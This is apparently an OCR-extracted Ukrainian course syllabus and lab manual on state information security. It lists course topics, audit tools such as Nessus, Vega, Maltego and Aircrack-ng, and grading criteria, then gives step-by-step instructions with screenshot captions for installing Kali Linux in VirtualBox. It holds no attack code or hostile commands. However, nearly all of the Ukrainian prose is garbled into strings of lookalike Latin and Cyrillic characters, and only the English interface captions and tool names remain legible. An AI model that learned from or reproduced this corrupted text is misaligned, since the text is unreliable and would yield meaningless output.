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BCTYII
Meta: OCHOBHOIO METOIO € TEOPETUYHA Ta MPAKTUYHA MiJTOTOBKA CTYJCHTIB
I10/10 BUBUCHHS TCOPETUYHMX IIJBAIIMH Teopii iHPopMarliiiHoi O6e3reKku aep:KaBu Ta

IX MPaKTUYHUX 3aCTOCYBaHb.

3aBaaHHA:

— BUBYCHHSI OCHOBHHX MOHATH Teopii iH(popMaIliiHOi Oe3MeKu ep:KaBu;

— BU3HAYEHHs 3arpo3 Oesmeni 1HGopMallii Ta BHUSBIEHHS MOPYUIHUKIB
1H(pOopMaIIiHOT Oe3MEKH Iep KaBH;

— BU3HAYEHHS PIBHIB 1H()OpMAIIHOT O€3NEKH JEPKABH;

— BU3HAYEHHS  MEXaHI3MiB, aJIropuTMiB Ta  3aco0iB  3a0e3neuyeHHs
1H(popMaLIiHOT O€3NEKH EepPKaABH;

— HaOYTTS MPAaKTUYHUX HABUYOK 3 ayJAuTy 1HGOpMAaIliitHOT Oe3MeKH Ta MOIIyKY
1 BU3HAUYEHHSI BPa3IMBOCTEN CHCTEMU ab0 Mepexi 3a JOIMOMOIO0 CIeliaai30BaHOro

MPOTPAMHOTO 3a0€3MEYECHHS.

Y pe3yibTaTi BABYCHHS HABYAJbHOI JMCHUIUIIHUA CTYACHT MOBUHEH:

—3uamu.: Tlouarrs iHdopMmaliiHOI Oe3meku. 3axoad Mo A0 MOOYIOBH
KOHIIETITyaJIbHOT Mojeni 1Hdopmariiitnoi Oe3neku. 3arpo3u Oesmemi iHGopMariii.
[HopymHuku iHdopmaiiiinoi Oe3neku. [IpaBoBuii piBeHb 1HGOpPMALIITHOI OE3MeKH.
Opranizamiiauii Ta TpoLeaypHHU piBeHb iHGOpMariiiHoi Oe3neku. KepyBanHs
pusukamu. IIporpamHo-texHiyHuil 3axucTt iHGopmaiii. Kpunrtorpadiuni 3acodu
3axucTy iHpopmarlii. Cteranorpadiuni 3acobu 3axucty iHpopMmarii. [nenTudikariis,
aBTEeHTH(]iKalligs Ta KepyBaHHS jaocTynoM. OcHoBu Oe3neku iHpopMaliifHO-
KOMYHIKAI[IHHUX CHUCTeM. 3aXWUCT MepCcoHaNbHUX JAaHuX. (OCHOBU YIIpaBIIHHSA
iH(bOopMaIliitHOIO 6E3MeKOI0.

—emimu: Posropratu omepamiiiHy cucTeMy i TPOBEICHHS ayaAuTy
iHpopMmariiiHoi O€3MeKu KOMITIOTEPHHX MEpeX Ta CHCTEM. I|HCTpyMEHTH
MPUXOBAHOTO 300py TEXHIYHOI 1H(OpMAaIii 3 KOMIT IOTEPHOI CUCTEMH a00 MEpEexi.

JlocmipKeHHsT Bpa3JIMBOCTEN CUCTEeMH ab0 MEpexKi 3a JOIMOMOIOK0 CIeIiali30BaHOTO



ckaHepa BpaznuBocTeil — Nessus. Buznadennst BpasnuBocTell BeO pecypciB Ta BeO
nonatkiB. Ckanep BpasnuBocTed — Vega. Ilomryk BpasnuBocTe Ta YyTTEBOI
iH(dopMaIli y BIZKPUTUX pecypcax 3a aornomororo 3aco0y Maltego. Cuidepu. 3acid

JOCIIKCHHS Bpa3mBocTel Oe3npoBinaux mepex Wi-Fi — Aircrack-ng.

CTpyKTYypHO JIOTiYHA cXeMa MiATOTOBKHU 0akaJjiaBpa.

BpaxoByroun mociiIoBHICT, HAKONMUYEHHS 3HaHb Ta 1H(OpMAaIlii, TUCIUILIIHA
BHUBYAETHCS MICIIS BUKJIQaHHS HACTYITHUX JUCIIUILTIH:

— Buia maTtematuka.

— Teopis KIMOBIPHOCTI Ta MaTeMaTHYHA CTAaTUCTHUKA.

— CTpyKTypHE IporpaMyBaHHS.

— MonynbpHe mporpaMyBaHHSI.

— O0'eKTHO-OpIEHTOBAaHE MPOrPaMyBaHHS.

— TexHozorii mporpaMmyBaHHS.

Jlnst onanyBaHHsI MaTepiany aucuuiuiinu «ludopmariiiina 6e3neka aep:KaBm»
OKpIM JICKLIMHUX Ta JIabOpaTOPHHUX 3aHsTh, TOOTO AayAUTOPHOTO HaBaHTAXKEHHS,

3HAYHa yBara NpuIUIsSEThCS CAMOCTIIHIN pOOOTI.

J10 OCHOBHUX BH/IiB CAMOCTIHHOI pOOOTH CTYJAE€HTA BiIHOCHMO:

1. BuBueHHs JeK1IHOTO MaTepiany.

2. PoGoTa 3 nitepaTypHUMH JIKEPEIIaMHU.

3. Po3B’s13aHHS MpaKTUYHUX 337249 3a 1HAWBIyaJTbHUMH BapiaHTaMH.

4. TligroToBKa J0 MOIYJIbHHUX, MiJCYMKOBOI'O KOHTPOJIIO, ek3aMeHy (JIeHHa Ta
3a04HA).

5. Bukonanust KypcoBoi poOOTH Jist ISHHOT JOPMU HABUAHHS.

MeToau HaAaBYaAHHSA

[IpoBigna ¢dopma HaB4yaHHS — Jekiis. Jlekmis 103BOJSE AyX e €KOHOMHO, 3
MiHIMaJbHUMH 3aTpaTaMu Yacy 1 BHUKJIagaya, 1 CTYAEHTIB, HQAaTH BEJIUKHI 0OcCsT
iHbpopMallli TO TeMl, IO pO3MIAJAETbCA. 3a XapaKTepoM JIOTIKA Ii3HaHHS

BIIPOBAKYIOTHCS aHAIITUYHUM, IHIYKTUBHHUM Ta IeTYKTUBHUN METOJIH.



CymnpoBigHi METOAH — JIabopaTOpHi pOOOTH.

OcHOBHA JWJTAKTHYHA METa MPAKTHYHOTO  3aHATTS — 3aKpIIICHHS ¥
JeTam3ailisg 3HaHb, a TOJIOBHE — (OPMYBaHHS HAaBUYOK 1 BMiHb. J[7s1 TIpOBeneHHS
MPAKTUYHOTO 3aHATTS BUKJIaJay rOTYy€ BIAMOBIIHI METOJUYHI MaTepiaiu: TeCTU AJis
BUSIBJICHHS PIBHS OBOJIOJIHHS HEOOXIJTHUMH TEOPETUYHHUMHM IOJOKCHHSIMU, HAOIp
NPAKTUYHUX 3aBAaHb PIi3HOI CKJIAJHOCTI JJIA PO3B'A3yBaHHSA I1X Ha 3aHATTI Ta

JIUJIAKTHYHI 3aCO0U.

KoHTpoJb 3HaHD

Kpurepii o1iHkY icTIATY:

ominky «BigmMinuo» (90-100 6axiB, A) 3aciIyroBye CTYJACHT, SKHIA:

— BCEOIYHO, CHCTEMATHYHO 1 TIJIMOOKO BOJIOJIE€ HABUYAJbHO-IIPOIPAMOBHM
MarepiaioM;

— BMI€ CaMOCTIMHO BHWKOHYBaTH 3aBJaHHs, IepeadadeHl Mporpamoro,
BUKOPUCTOBY€E HaOyT1 3HAHHA 1 BMIHHS Y HECTaHJIAPTHUX CUTYAIIsIX;

—3acBOiB OCHOBHY 1 O3HallOMJICHHHA 3 JOJATKOBOIO JITEPaTyporo, sKa
PEKOMEHI0BaHa MpOrpamolo;

—3aCBOIB B3a€MO3B'SI30K OCHOBHUX IOHATH IUCUUIUIIHA Ta YCBIAOMIIIOE iX
3HaYeHHs 715 podecii, aKy BiH HaOyBae;

— BUIBHO BUCJIOBJIIO€ BJIACHI JYMKH, CAMOCTIMHO OIIiHIOE PI3HOMAHITHI KUTTEBI
sSBUIA 1 (DAKTH, BUSBJISIOYH OCOOUCTICHY TTO3HITIIO;

— CaMOCTIMHO BHM3Ha4ya€ OKpeMl IIiJIi BIAaCHOI HaBYAJIbHOI JISUIBHOCTI, BUSIBUB
TBOpYl 3A10HOCTI 1 BHUKOPUCTOBYE iX MpPU BHUBYEHHI HABYAIbHO-IIPOTPAMOBOIO
MaTepialy, IpOsSBUB HaxMI 0 HAYKOBOi pOoOOTH.

oHiHKY « 100pe» (82-89 6auiB, B) — 3aciyroBye CTyCHT, SIKUI:

— MOBHICTIO OMaHyBaB 1 BUIbHO (CaMOCTIHHO) BOJIOJIE  HAaBYaJIbHO-
MpOrpaMOBUM  MaTepiajioM, B TOMY YHCIi 3aCTOCOBYE HOTO Ha MPAKTHIN, Mae
CUCTEMHI 3HAHHS JOCTaTHHOMY OOCS31 BIJMOBITHO O HaBYAIHHO-TIPOTPAMOBOTO
MaTepially, apryMEHTOBAaHO BUKOPUCTOBYE X y PI3HUX CUTYaIlisIX;

— Ma€ 3JIaTHICTh JI0 CAaMOCTIMHOTO MOIIYyKY iH(opMallii, a TakoX 10 aHaTi3y,

MOCTAaHOBKH 1 pO3B'si3yBaHHs po0JieM nMpodeciitHOTO CIIpsSIMYyBaHHS;



— Tij] 9ac BIATMOBIJI JOMYCTHB JIEAKI HETOYHOCTI, SIKI CAMOCTIMHO BUIIPABIISIE,
no0upae MepeKOHIIMBI apryMEHTH Ha MIATBEP/’KEHHS] BABYEHOTO MaTepiay;

oliHKY «100pe» (74-81 6aa, C) 3aciIyroBy€e CTYACHT, SIKUM:

— B 3arajbHOMy pOOOTYy BHMKOHAaB, alieé BIANOBIJAa€ Ha €K3aMEH1 3 TEBHOIO
KIJIBKICTIO TIOMHJIOK;

— BMi€ TIOPIBHIOBAaTH, Yy3arajbHIOBATH, CHUCTEMATH3yBaTH 1H(OpPMALIIO ITijI
KEpIBHUIITBOM BHKJaJadya, B I[JIOMy CaMOCTIMHO 3acTOCOBYBAaTH Ha MPAKTHIIL,
KOHTPOJIIOBATH BJIACHY JISIIbHICTH;

— OMAaHYBaB HABYAJIBHO-IPOrPAMOBUI MaTepial, YCIIIIHO BUKOHAB 3aBJIaHHS,
nependadeHl MNpoOrpamMor0, 3acBOIB OCHOBHY JITepaTypy, sSKa pPEKOMEHIOBaHa
IPOrpaMoro;

OIIIHKY «3a10BiIbHO» (64-73 6aau, D) — 3aCIyroBy€e CTYACHT, SIKHM:

— 3Ha€ OCHOBHHMI HaBYAJIBHO-TIPOTPAMOBHI MaTepiall B 00Cs31, HEOOX1THOMY
JUTSI TIOJJAJTBIIIOTO HAaBUYAHHS 1 BAKOPUCTAHHS MOro y MalOyTHIM npodecii;

— BUKOHYE 3aBJIaHHS, aJi€ MPHU PIIIEHH] J0MYCKA€ 3HaYHY KIJIbKICTh TOMUIIOK;

— O3HAMOMJICHHIA 3 OCHOBHOIO JIITEPaTypoOI0, IKa peKOMEHI0BaHa MPOrpaMolo;

— JIONYCKA€ Ha 3aHATTSIX YM €K3aMEH1 MOMUJIKA MPU BUKOHAHHI 3aBAaHb, aje
M1]] KEPIBHUIITBOM BHUKJIa/1auya 3HAXOAUTh IIJISXH 1X YCYHEHHS.

OIIIHKY «3a10BiIbHO» (60-63 6aau, E) — 3aciyroBye CTyJICHT, SIKHii:

— BOJIOJIIE OCHOBHMM HaBYAJIbHO-NIPOrPAMOBUM  MaTepiaioM B  00cs3l,
HEOOXITHOMY JUIsl TOAANBIIOrO HaBYaHHS 1 BUKOPUCTaHHS MWOro y ManOyTHIM
npodecii, a BUKOHAHHA 3aBJIaHb 3aJI0BOJIbHSE MIHIMAJIbHI KpUTEpli. 3HAHHS MalOTh
PENPONYKTUBHUIN XapakKTep.

OliHKA «He3aI0BLIbHO» (35-59 6aniB, FX) — BUCTaBISI€THCS CTYACHTY, SIKHIi:

— BUSIBUB CYTT€BI MPOTAJIMHU B 3HAHHSIX OCHOBHOI'O IMPOTPaMOBOTO MaTepiaiy,
JIOIYCTUB MPUHIUIIOBI TOMUJIKY Y BUKOHAHHI Nlepe10ayeHuX MporpaMoro 3aBAaHb.

OIIIHKY «He3a/10BiILHO» (35 6auiB, F) — BUCTaBISIETHCS CTYICHTY, SAKHIA:

— BOJIOZII€E HABUaJbHUM MaTepiaJioM TIIbKM Ha PIBHI €JIEMEHTapHOTO
pO3Mi3HaBaHHS 1 BIATBOPEHHS OKpeMHUX (PakTiB aO0 HE BOJIOJII€ 30BCIM;

— JIoMycKae TpyOl MOMWIKM TIpM BUKOHAHHI 3aBJaHb, IepeadadyeHux

IPOrpamoro;



— He MO>Ke MPOJOBKYBAaTH HAaBYaHHS 1 HE TOTOBUM 0 MPOQECiitHOT NisITBHOCTI

iCIIs 3aKIHYCHHS YHIBEPCUTETY 0€3 MOBTOPHOIO BUBUCHHS JaHOT TUCITUILIIHHU.

IIpu BucTaB/IeHHI ONIHKH BPaXOBYIOThHCSl Pe3yJbTATH HABYAJIBLHOI P000TH
CTY/J€HTA MPOTATOM CEMECTPY

Kpurepii ouiaku 3amiky:

— «3apaxOBaHO» — CTYIGHT Ma€ CTiKI 3HAaHHA TPO OCHOBHI MOHSTTS
JTUCITUTUTIHY, MOXe COPMYITIOBATH B3a€MO3B'SI3KM MK TIOHATTSIMH.

— «HE3apaxOBaHO» — CTYJICHT Ma€ 3HayHl TMPOMYCKHM B 3HAHHIX, HE MOXKE
c(hOpMyJTIOBaTH B3a€EMO3B'A3KY MK MOHSTTSIMH, IO BUBYAIOTHCS B Kypci, HE Mae
YSIBIICHHS TIPO OUIBIIICTh OCHOBHUX MOHSTH JUCHUIUIIHU, 1110 BUBYAETHCSI.

HIxana oninoBanuga: HauioHaabHa Ta ECTS

Cyma 6aiiB 3a OriHKa 32 HAI[lOHAIBHOIO IIKAJIOI0
BC1 BUIU Or1iHka
HaBYAIbHOI ECTS | mnst ek3ameny
ISUTBHOCTI
90 - 100 A BIIMIHHO
82-89 B
noope
74-81 C
64-73 D .
3aJI0BLILHO
60-63 E
HE3a/I0BUILHO 3 MOKJIMBICTIO IIOBTOPHOTO
35-59 FX
CKJIaJaHHS
HE3a/I0BUIBHO 3 000B’SI3KOBUM IMOBTOPHUM
0-34 F _
BUBYEHHSIM JIUCIUIUIIHU

Bubpagiu npeameTHy o0jacTh, HaJl KO BU OyJeTe MpaiioBaTH, BU MOBUHHI
BUKOHATH 3aBJIaHHS J10 JJa0OpaTOpHUX pOOIT, @ TAKOXK BIATIOBICTH HA MUTAHHS B KIHII
KOXKHOT J1abopaTopHOi poOOTH. 3BIT MOBHUHEH MICTHTH XiJ] BUKOHAHHS 3aBJaHb a

TaKOX rpadivyHi MaTepiaiy, O MiITBEPAKYIOTh BUKOHAHHS 1IUX 3aBJaHb.



JlabopaTtopHna poGora Nel

Tema: PosropranHsi omnepamiiiHOi cUCTeMH VISl NPOBEAECHHS AyJUTYy

iHopmaniitHol 0e3meKH KOMII’IOTEPHUX MEpexX Ta CHCTEM

Merta: OtpuMary HaBMYKHM HeoOXiaHI st posropranHs OC puas

NpoBeeHHs ayauTy iHpopmaniliHol Oe3nmekn

TeopernuHi BizomocTi

Jlns mpoBeneHHs aynuTty 1HQOpMauiiHOiI Oe3neku MeBHOI i1H(opMaiiHol
CHUCTeMHM, 3a3BHuYail HEJOCTaTHHO JIMIIE 3HAHb CTAaHAApTIB, HOPMATHBHHX
JIOKYMEHTIB, Ta 3aKOHOJIJAaBCTBA KpaiHU Jie MPAIIO€ 3aXUIIeHa CUCTeMa. 3a3Brudail 1ux
3HaHb BUCTAYae€ JJisg OpraHizailii poOOTH TaKoi CHCTEMH, KOJIU CIpaBa JIOXOJIUTH 0
MEePEBIPKU 3aXUIIEHOCTI CUCTEMH, TaK OM MOBHTH, B ITOJTLOBUX YMOBAX, IIUX 3HAHb HE
BUCTa4YUTh. [l 1bOro HEOOXIiJHI 1 3HAHHS, 1 HABUYKU POOOTHU 3 BIAMOBITHUMHU
IHCTpYMEHTaMH, cUCTeMaMu Ta (ppeliMBopkamu. | 3HOBY K Taku 3HaHb Ta HaBUYOK
BUKOPUCTOBYBAHHS JIMIIIE TIEBHUX 1HCTPYMEHTIB TaKOX BUSBIIETHCS HEIOCTATHBO,
OCKUIbKHM 1H(opMaliifHa Oe3neka 1€ rajly3b 10 AyXe AUHAMIYHO PO3BUBAETHCS. Y
3B’SI3KY 3 LIMUM, PI3HOMaHITHI I'PYNU CHELIAJTICTIB Ta aMaTOpIiB pO3pOOUIN HU3KY
TUCTPUOYTHUBIB OMepariiiHoi cuctemMu Linux.

Cepen ycix aucTpuOyTHBIB HalOUIbIIEe TMOIIMPEHHS OTPUMYE TUCTPUOYTHB
Kali Linux mo po3po0nserbes kommaniero Offensive Security (mo Toro mepurictb
3aiimaB quctpuOyTuB — Back Track, mo takox po3po0isiBes miero kommnaniero. Kali e
namaakom Back Track). Ilefi muctpuOyTuB BIApI3HAETHCS BEIUKUM HaOOpPOM
IHCTPYMEHTIB, fIKi B)K€ HAJAIITOBAHO 1 OUIBINICTH 3 HUX TOTOBI MPAIlOBATH «3
KOpPOOKM», BEJIIMKMM HAaO0OpOM amapaTHOro 3a0e3leyeHHs 10 MIATPUMYEThCS 0e3
JI0JIATKOBHX HAJAIITYBaHb, CTAOUIBHICTIO POOOTHU, PETYISIPHUMH OHOBJICHHSIMH,
T00pOI0 MIATPUMKOIO Ta BEIMKHM 1 aKTUBHMM KOM'IOHITI. J[o Toro » Bapto
3ayBakutu 1o Offensive Security BUIyckae 1 ornepamiiHy CUCTEMY JJIsI MOOUIBHUX
TeneoHiB, IUIAHIIETIB Ta JEAKUX MIKpO-KOHTpojepiB — NetHunter, Ha oOCHOBI

Android (Lolipop (5.1), Marshmallow (6.0)).



Januit qucTpuOyTHUB MOXKIIMBO 3allyCTUTH 3 (et kapTu y pexumi Live. Ane
JUIA TOBHOIIIHHOTO HOTO BUKOPHUCTAHHS BapTO IMPOBECTH IMPOLIEC 1HCTAJISIII].
[TepeiinemMo 10 BUKOHAHHS Ja00paTOPHOI POOOTH.

3aBaHTAKUTH TUCTPUOYTHUB MOXKIMBO Ha odiuiiiHoMy caifTi kali.org y po3aini
3apaHTakeHHs1 (downloads). JIMCTpHOYTHBU PO3MOBCIOMKYIOThCA I 32X Ta 64
PO3PSAHUX CUCTEM. 3aBAHTAXKUTHU (Pailll MOKIIMBO SIK 1 IPSIMO 3 CEPBEPIB CANTY, TaK 1
3a IOTOMOTO00 TIpoToKOoITy bitTorrent.

[Ipomiec iHcTamsAIli BapTO MOYATH 3 BIAMOBIJI HA MUTAHHS YU CUCTEMY Oyle
PO3TOPHYTO Yy BIPTYaJIbHOMY CepeIOBHINI (BipTyaJbHa MAIlMHA), YU Ha peabHIH
cucteMi? SIKI10 cucTeMy BHPIIIEHO PO3rOPTATH Y BIPTyaIbHOMY CEPEIOBHILI TO TOJI
HEOOXITHO 3aBAHTAXUTH, JOJAATKOBO BIAMNOBIAHE TMporpaMHe 3a0e3MeUEHHS.
MoxnuBo o0upaTu cepes 0araThboX, aje B paMKax TEOPETUYHUX BIIOMOCTEH N0 INi€l
nabopaTopHOi poOOTH, XOTIJOCS O 3BEpHYTH yBary Ha MporpaMHe 3a0e3NedeHHs Bij
komnanii Oracle, a came Oracle VirtualBox. VirtualBox MoXIMBO 3aBaHTaXHUTH 3
odimiitHoro caity virtualbox.org, e I13 po3moBCIOIKYETHCS AK ISl ONEpaIiiHUX
cucrteMm cimerictea Windows tak 1 Linux. JlerambHi 1HCTpYKIIi 3 1HCTANALIl IJIs
omeparliinoi cucremMu Linux 3HaxXOASIThCA Ha TIA K€ CTOPIHII 3aBaHTAXKEHHS.
Incramsmis ams OC Windows € abCOMIOTHO CTaHAApTHOIO, ajie HEOOX1HO 3BEPHYTHU
yBary Io Mij 9ac iHCTAJISII] Ha KOPOTKUI MPOMIKOK 4Yacy OyJie BUMKHEHO JIOCTYII
0 MEpPEeki, 1€ TMOB’A3aHO 3 IHCTAJSILIEID MEpPEXKEBUX JpaiBEpiB BipTyalbHOI
MaITuHU.

[Ticns TOrO SK BHU3HAYECHO CEPEIOBHINE B SIKOMY OyIE PO3TOPHYTO CHCTEMY
HEOOX1AHO MIAroTyBaTH 00pa3. 3 o(iIHHOro CalTy MOMJIMBO 3aBAHTAXKHUTH 1SO —
oOpa3, 3a mIg 3py4HOCTI HOr0 MOXIMBO 3amucatd Ha Quenr-kaprty. s
omeparlifHux cucreM Linux HeoOxigHO BuUKOpucTatu yTUiiTy dd y Tepminaii, abo
yrumity disks sika € rpadiuanm BapiantoM ytwiita dd. s omepariiiHux cuctem
Windows 3pyunime Bukopuctatd ytumty Win32 Disk Imager, sxy moxiauBo
3aBaHTaXXUTH 3 caiTy launchpad.net (cropinka 3aBanTa)keHHs launchpad.net/win32-

Image-writer). Takosx iso 00pa3 MOXJIHBO TIPOCTO 3anmmcatd Ha DVD auck.
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JlJis BCTaHOBJICHHSI CHCTEMHU y BIPTYaJlbHOMY CEpPEIOBHILI HEOOXIAHO, IS
MOYaTKy CTBOPUTH HOBY BIpTyaibHY Mamuny. g nporo 3amyctiTe VirtualBox a6o
e Bianosigue 13 i cTBopiTh Mammuy. Hwkue Ha ckpinmorax (Pucynok 1 — 8)

MoKa3aHa MOCIiA0BHICTh CTBOPEHHS BipTyanbHOi Marmuu Juist [13 VirtualBox:

'.l‘i Oracle VM VirtualBox Manager

File Machine Help

@ H.aJ-HCH‘!Tb ’ G} Details | =M Snapshots
ew Settings Discard Start

Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer. The list is empty now

because you haven't created any virtual machines yet. [ “‘
In order to create a new virtual machine, press the New buttonin the £% & \ \
main tool bar located at the top of the window. o -

-
You can press the F1 key to getinstant help, or visit
www. virtualbox.org for the latest information and news.

!g'f
| /

Pucynok 1 — Ilouarok cTBOpeHHs BipTyanbHoi MamHu aiis [13 VirtualBox

Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine and
select the type of operating system you intend to install on it. The
name you choose will be used throughout VirtualBox to identify this

machine,
Mame: | Kali hd |
Type: |Linux h
Version: |Linux 2.6 f 3.2/ 4.3 (32-hit) h

Expert Mode Cancel

Pucynok 2 — O6epiTh BKa3aHi mapaMeTpH Ta HATHUCHITH «Next»

11



€ Create Virtual Machine

Memory size

Select the amount of memary (RAM) in megabytes to be allocated
to the virtual machine.

The recommended memory size is 512 MB.

' 512

3192 MB

Ak

MB

4MB

Pucynox 3 — O6epiTh KUTBKICTh OMEPATUBHOI Mam'sTi 1m0 Oyae BHAUICHO IS

BIpPTyaJIbHOI MAIlIMHU, PEKOMEHI0BAHO BUILITUTH 210

€ Create Virtual Machine

Hard disk

If you wish you can add a virtual hard disk to the new machine, You
can either create a new hard disk file or select one from the list or
fram another location using the folder ican.

If you need a more complex storage set-up you can skip this step
and make the changes to the machine settings once the machine is

created.
The recommended size of the hard disk is 8.00 GB.

() Do not add a virtual hard disk
(®) Create a virtual hard disk now
(7)) Use an existing virtual hard disk file

Empty

Pucynok 4 — O6epith "Create a virtual hard disk now" 1 natuchiTs "Create"

12



Create Virtual Hard Disk

Hard disk file type

Please choose the type of file that you would like to use for the new virtual
hard disk. If you do not need to use it with other virtualization software you
can leave this setting unchanged.

(®) VDI (virtualBox Disk Image)
() VHD (virtual Hard Disk)
() VMDK (Virtual Machine Disk)

Expert Mode Cancel

Pucynok 5 — OGepiTh BKkazaH1 napameTpu Ta HaTUCHITH "Next"

€ Create Virtual Hard Disk

Storage on physical hard disk

Please choose whether the new virtual hard disk file should grow as it is used
(dynamically allocated) or if it should be created at its maximum size (fixed
size).

A dynamically allocated hard disk file will only use space on your physical
hard disk as it fills up (up to a maximum fixed size), although it will not shrink
again automatically when space an it is freed.

A fixed size hard disk file may take longer to create on some systems but is
often faster to use.

() Dynamically allocated
(®) Fixed size

Pucynok 6 — O6epith "Fixed size" Ta HatucHITH "Next"
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€ Create Virtual Hard Disk

File location and size

Please type the name of the new virtual hard disk file into the box below or dick
on the folder icon to select a different folder to create the file in.

Kali =

Select the size of the virtual hard disk in megabytes. This size is the limit an the
amount of file data that a virtual machine will be able to store on the hard disk.

0

4.00 MB 2.00TB

Pucynoxk 7 — O06epiTh BKa3aH1 napameTpu Ta HaTUCHITH "Create"

l_\j Create Virtual Hard Disk: Creating fixed mediurn storage unit 'C:\Users\Vitaliy\Virtual...

\ Creating fixed medium storage unit 'C:‘n,l_.lsers’.,'l.-'irmalﬁnx VMs\Kali\Kali,vdi' ...

H 1 % X
2 minutes, 11 seconds remaining

Pucynox 8 — [louneThcs poliec CTBOPEHHSI BIPTYaIbHOT MAllIMHUA

[Ticnst 3aBepiieHHST CTBOPEHHS BIPTYyaJlbHOI MAIIMHU 3MOHYTHTE 00pa3
(mampukmang 3a gomoror Daemon Tools Lite), abo miAgKIIOYITE BiAMOBIIHHIA

(b13U4HMI HOCIH 1 HATUCHITH «Start» sik mokazaHo Ha PucyHok 9.
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V¥ Oracle VM VirtualBox Manager - O *
File  Machine Help

"J' =
2&;} i:} A 4 'HaTHCHITb G} Details Snapshots

Mew Settings Discard Start

Video Memaory: 16 MB

Remote Desktop Server:  Disabled
Video Capture: Disabled

Storage
Controller: IDE

IDE Secondary Master: [Optical Drive] Empty
Controller: SATA

SATA Port O0: Kali.vdi {(Mormal, 10.00 GB)
{7 Audio

Host Driver:  Windows DirectSound
Controller:  ICH ACS7

EF Network
Adapter 1:  Intel PRO/1000 MT Desktop (MAT)

(¥ usB

USE Controller:  OHCI
Device Filters: 0 {0 active)

[l Shared folders
None
& Description

Nara

Pucynox 9 — Haruchits "Start"
Y HOBOMYy BiKHI 00€pITh IUCK KU Oy/le BUKOPUCTAHO SIK 3arpy304YHUMN IS

MEPIIOro 3amycKy BipTyasibHOI MamuHu. I[licist 3aBaHTaxeHHS 00€piTh MYHKT SK

noka3ano Ha Pucynok 10.
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“the quieter you become, the more you are able to hear”

Boot menu

Live (686-pae)

Live (686-pae failsafe)

Live (forensic mode)

Live USB Persistence (check kali.org/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Graphical install

Install with speech synthesis

Advanced options

Pucynoxk 10 — O6epith BiAMOBIAHMI MyHKT Ta HATUCHITH "Enter’

[11] Configure the keyboard
Keymap to use:

American English
Albanian

Arabic

Asturian

Bangladesh

Belarusian

Bengali

Belgian

Bosnian

Brazilian

British English
Bulgarian :
Bulgarian (phonetic layout)
Burmese

Canadian French
Canadian Multilingual
Catalan

Chinese

Croatian

Czech

Danish

Dutch

Dvorak

Dzongkha

Esperanto

Estonian

<Go Back>

s buttons

Pucynok 11 — O0epiTh MOBY BBeZICHHS (MOBY KJIaBiaTypH)
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[11] Select a language |

Choose the language to be used for the installation process. The selected language will
also be the default language for the installed sustem.

Language:

[ Mo localization
Alhanian shoip
Arabic e
Asturian Asturianu
Basgue Euskara
Belarusian Eenapyckan
Bosnian Bosansk i
Bulgarian Exnrapckwn
Catalan Catald
Chinese (Simplified) Fa (fEf i)
Chinese (Traditional) R (ER)
Croatian Hrvatski
Czech Cestina
Danish Dansk
putch Nederlands
= r11sh
Esperanto Esperanto
Estonian Eesti
Finnish Suomi
French Francals
Galician Galego
German Deutsch
Greek EhANULED

<0 Back:

Pucynok 12 — O0epiTh MOBY iHCTAJIALIT (PEKOMEHOBAHO 00PATH aHTIIIHCHKY)

[!] Configure the network |
Flease enter the hostname for this system.

The hostname is a single word that identifies your sustem to the network. If you don't
know what your hostname should be, consult your network administrator. If you are setting
up your own home network, you can make something up here.

Hostname:

<Go Back» <Continue>

; <Enter> activates buttons

Pucynok 13 — Beenits im'st xocty (Oyab ske)
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[!] Configure the package manager |

It you need to use a HTTF proxy to access the outside world, enter the proxy information
here. Otherwise, leave this blank.

The proxy information should be given in the standard form of
"hitp:// [[user] [:pass] @] host [:port] 2",

HTTF proxy information (hlank for nonel:

<Go Back> <Continue>

es huttons

Pucynoxk 14 — Iki10 BUKOPUCTOBYBATH MPOKCI HEMAE€ HEOOXITHOCTI — JIUIIITh

noJie mycTum 1 HaTUcHITH "Continue"

[Ticis Toro sik B mpoiiaeTe Kpoku (iX MOCTIIOBHICTh MOXKe OyTH 3MIHEHA y
PI3HHX BepcisiX 1HCTanATopa) sKi 300paxeHo Ha Pucynok 11-—-14, Oyne
3aMpPONOHOBAHO PO3MITUTH JAUCK. Y pa3l IHCTANALII CUCTEMHU Ha BIPTyaJbHY MAIIUHY
00epiTh MYHKT SIK 300pakeHo Ha PucyHok 15. B iHmomMy Bunaaky, I1Mck HEOOX1AHO
pPO3MIYaTH BUXOJSYU 13 MOTOYHUX OOCTaBUH. Y TaKOMY BHUIIQJKy BapTO 3HATH IO
omepailiiiia cucrema Linux Bumarae o00B’sI3KOBO1 HAIBHOCT1 IMCKIB:

— 3 TOYKOIO MOHTYBaHHs «/» Ta (aioBoi0 cucteMoro ext3 ado ext4d (MOXIHBI
¥ 1H1I11 BapiaHTH, 0a)KaHO BUKOPHCTOBYBATH ext4)

— JICKY 3 TOYKOI0 MoHTyBaHHS SWAP (swap) — 3 (haiijoBoro cucTeMoro swap.
OnTuMansHUN PO3MIP IBOTO JHUCKY OO’€M ONEpPaTHMBHOI TaM’siTi KOMIT I0Tepa

IIOMHOYKEHU U Ha JBa.
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1 [1!] Partition disks |

The installer can guide you through partitioning a disk (using different standard
schemes) or, if you prefer, you can do it manually. With guided partitioning you will
still have a chance later to review and customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk
should be used.

Fartitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LWM
Manual

<Go Back>

I

Pucynoxk 15 — JInst Toro mo0 BHKOpHCTATH BeCh JUCK 00epiTh "use entire

disk", nyst pyunoi po3miTku — o0epiTh "Manual"

[Ticns 3aBepuieHHst iHCTanAIil Oyne 3ampornoHoBaHo BcraHoBUTH GRAB
(PucyHok 16) — morozapTecs i 00epiTh AuCK Ha sskoMy BctaHoBiieHo OC. ITicas 1poro
Oyne BHBEJEHO TOBIJOMIIGHHS Tpo ycmimHy iHctamsani;o OC Ha KOMITIOTEp
(Pucynok 17). Ha mpoMy, po3ropTaHHs CHUCTEMH Oyje 3aBEpIICHO, a KOMII IOTep

HEO0OX1THO Mepe3aBaHTAKUTH.
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[!1] Install the GRUB boot loader on a hard disk |

It seems that this new installation is the only operating system on this computer. If so,
it should be safe to install the GRUB boot loader to the master boot record of your first
hard drive,

HWarning: If the installer failed to detect another operating system that is present on
your computer, modifying the master boot record will make that operating system
temporarily unbootable, though GRUB can be manually configured later to boot it.
Install the GRUB boot loader to the master hoot record?

<Go Back>

Pucynox 16 — O6epith "Yes" Ta HaTUCHITH Enter

